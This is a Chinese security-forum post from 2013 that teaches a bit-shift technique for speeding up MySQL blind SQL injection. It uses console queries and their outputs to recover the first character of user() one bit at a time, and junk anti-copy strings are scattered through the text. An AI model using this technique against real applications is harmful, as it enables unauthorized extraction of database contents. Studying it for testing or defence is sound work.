找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2201|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
1 z/ k, b2 L; O( K
5 K1 O5 Z( E" m 1 F2 e8 }; t5 K- V4 h5 g: E" u
6 ~4 @0 t  ~/ H) Z* f  ~
下面将以查询mysql数据库当中user()的第一位为例:
. j& \8 c" Z& ?1 c9 f: I8 M, F+ ^, L( z) F, }

6 H2 R& ?* `0 L9 x
& W9 I8 `+ g' K0 B4 dps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1); `! n/ B( @% s. ~6 ~8 R4 J6 ]) }

0 u4 {; q( [8 r. y+ t  H
! R! T) \) [. h: j* x5 J8 g! R( |( P! ?2 X& q9 A
首先执行如下sql语句:
- C) b% L" h3 H! g: i$ p) @8 L$ L3 G9 b/ c0 N! q3 W

# A. ]' m* Q5 t. b
5 Y3 r  `% L( F5 jmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
' x8 R% p+ ?# f' y2 s. B; w, m- j3 \! M
/ B1 `4 [2 j1 H6 n6 |; e

, k, I: {4 f5 C' j& W5 u我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的" M) T( O) k4 v, v: _0 F. n
- i& b4 L, W3 W: m, z6 I) [

3 N* O7 _$ T* }, R: a& y
$ A& p4 f6 t2 U0 Q6 S& d第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
8 s  r" p. S; F& ^) Y+ ^
  A0 l3 ~+ s/ {  E  A/ R
; O: d/ r7 b) a. m4 }! a6 s9 m4 h8 j7 S) ]
如果运算结果为1,说明第一位为0,不为1
. U- K8 B1 f6 u0 J5 A
! B  W8 |0 G7 ], A; B' m" W, z
8 ]4 \7 o, w) f4 W& R
6 L7 d4 u! W, ~9 l+————————————–+4 J7 Y6 N! ]1 u) P9 P: C& }" t

: _6 O4 q' b/ ~& l. i0 q| (ascii((substr(user(),1,1))) >> 7)=0 |) M9 v6 k3 A2 ]4 z0 o# F' {
/ B" N3 y: U% _% |* S
+————————————–+. O) `# z1 y% k% B; p, W1 q& b

, x$ w- i3 R0 u! s4 a8 A| 1 |
5 j- {+ a6 A3 g0 \* Y! d& A1 u, f4 q* p, o2 l% ~' B9 E
+————————————–+. }+ _6 \5 V7 h, o, q5 B7 {
& W9 D  ^1 O* \7 N# o) W5 o
1 row in set (0.00 sec)
- u6 k- @8 G8 \; x' [" a! h
6 W8 y0 k4 B+ E( f* `& C7 m1 Y/ B这样我们就确定这个8bit的ascii的第一位为0
1 o1 u, x) w, {0 C+ Y9 S
7 `0 h- Y4 C& }- q/ ^" v5 g1 p% a 1 ~7 z- y( x+ i

) P' K2 x  N- d9 Y2 n第二次我们来做6次右偏移来确定前两位) Q$ P. b) r. X3 _' X# X
$ X0 {. W5 S! ^! D+ l
1 [5 r0 y" r) k
1 E# \8 Y: h. {, u) F# x& J! P- v; _
前两位可能是01或00,即依然可以与0做比较,7 _0 `1 e) m1 t0 b# G* d

; f# ~6 R. j# lmysql> select (ascii((substr(user(),1,1))) >> 6)=0;" X8 b* K7 _. @8 H9 ]
; j4 {5 [. [4 a& Z7 z! b
+————————————–+% Q$ F! V9 D  N* }, p! B

# F$ c4 j( l9 C/ d( z$ F3 i| (ascii((substr(user(),1,1))) >> 6)=0 |2 I7 q6 S# a) m2 X$ L

! I  l6 {8 Y% Z  L! m/ f; b! Q6 z+————————————–+
% s3 O& x8 S2 {  L. n5 {& O" h' y+ r5 @" x* g5 s. @
| 0 |7 y) _! E; a4 m4 \- e% Z; Q0 M

0 v8 p+ d- g+ h1 I$ ^: E9 D/ B! K+————————————–+- F$ f; c. ]( E
4 @/ L0 E9 r# }8 f3 S
1 row in set (0.00 sec)
/ y- g- t! `# D9 n* W* l; W( j9 N7 x
  `2 u1 [$ J9 ]3 m, k' {5 J, T: |
( w3 c4 \7 U7 g% ~/ w+ o% ~) T7 C9 F4 n% Q+ d
结果为0,即第二位为1# F( l- I! a, Y7 N6 t, s

* n8 f; g+ N( P 7 r( A3 N, a# b3 E: X

5 |1 v( H' C: E! G开始猜测前三位为010或011
+ ]$ q! W6 n" ^" r
$ d5 P/ A) Z9 u, D# |$ Z
( t+ |$ P; s  H; b" Q# w! E: l! e3 d  z
, ?9 F: P. s1 V" v9 h' z% K让我们看看010和011的ascii码是多少
% C' W5 f  A2 }5 k) h/ X0 X' T/ ~. c
) |2 F1 f  N& S
# T) M! T2 _3 y) i+ q5 V
分别查询select b’011′ select b’010′
5 i+ R  ?0 @6 c) f/ J  {/ J8 X# D+ j7 e) R( A0 T

5 m7 R0 B* c. r6 E" V: v* D  R! Z' F$ K" D, i
获得结果 010 = 2 011 = 35 L# [6 `& h( q- l& P" `
% n! t( F, j/ r) r: v
! }" |* P7 ^) X9 @6 J& \' D
$ \2 {; x" C+ r! {& U5 ~/ {
执行如下sql:( M+ G- Q7 Y) L( F. Q; i
5 V2 b& S  N; @' l2 p8 z
1 T) K% w* ?. ~+ y2 h
! G" `. B% O8 n  ^2 w/ T% l
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;5 Z8 ~6 y0 i. K' L# h( ]3 A3 m

8 n' [* h$ F: {8 i! o$ W* `* h/ h+————————————–+
6 s! |/ M  ]2 ^8 v. O4 }6 H+ b7 \0 z2 V+ {, i2 f' F
| (ascii((substr(user(),1,1))) >> 5)=2 |
7 h/ {9 c5 i8 u1 v& E
/ j0 z% \7 y% U" ~8 R+————————————–+7 P4 L( h  e% _9 D& o0 I

" P- ^6 |$ A! H: {9 R+ @3 Z. U| 0 |
; O9 W1 Q# I! y8 ]$ B& ?) ^1 U5 |3 D: E% d
+————————————–+
) v7 @' }( c' B6 ^2 `3 s+ P5 s7 L# i6 ]7 Y/ k2 ?
即前三位不为010,而是011
* I( X' G( d& a5 u0 e& O2 s- t2 \: i3 v  B! M  c

- {& |9 d+ M7 F3 T% P; @* ]; E4 ~% [* X8 [
直到获得最后一位. L: P# V$ p- q3 B; ?' C# n6 d9 f
1 q* W5 o* y  n1 _2 X( l
  B( O" h9 R, I2 ~6 N

% n) Z# X$ b0 j# D. v最终结果为:01110010
9 K- l% n! |( K
# v8 U# l) q9 @' G( k2 l9 |1 Y$ w
# h. H8 h! i& }. d: Z/ L' p" ?2 u# C+ q& F
转换一下:  U4 N8 L( m: ^

4 W0 i$ }+ F% a0 |2 A9 n1 K$ q6 U ( f; j9 W2 {; n. t
# r5 j( Q0 n; M+ j1 _# e( M
select b’01110010′
( ]& a4 `) `4 K) n$ Y1 @
. l6 R% N; C3 n ( T& c' n2 P& [
1 O  G* A4 Z0 J' x; S% ~" u
查询结果1 G3 Q( N7 ~/ [6 |8 a! n, `

. U' T5 b8 a! Z& {8 t 0 {! t$ [7 B- G% X+ P1 L
1 |, T$ C, @( H# e
+————-+9 K; z( C* ~. s' L

! y* f. l) C& s6 S+ V| b’01110010′ |& P1 w# q5 c0 [1 ^3 _
+ p; a1 x* S' F+ ~
+————-+
' ?' {' T5 n: H$ j# d/ ]/ c
) y3 `5 `" T% ]9 ]* l| r |
: W$ U# U3 D* r( K
: K# z/ E. t7 Q4 e+————-+
7 t4 F/ R- P- O& \; L; s" v
; G" m) l' ]: W" N* a% ]1 row in set (0.00 sec)
! g4 Y" P' r1 ^# i
# G! V/ R  h! b" v2 o ! i9 {: c2 E; l! W* i
: n& n/ u# ]" O. ^
这样我们就获得了user()的第一位.其它位依此类推
# z& Q3 k0 v1 h7 w
! f7 X' P  G7 D, R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表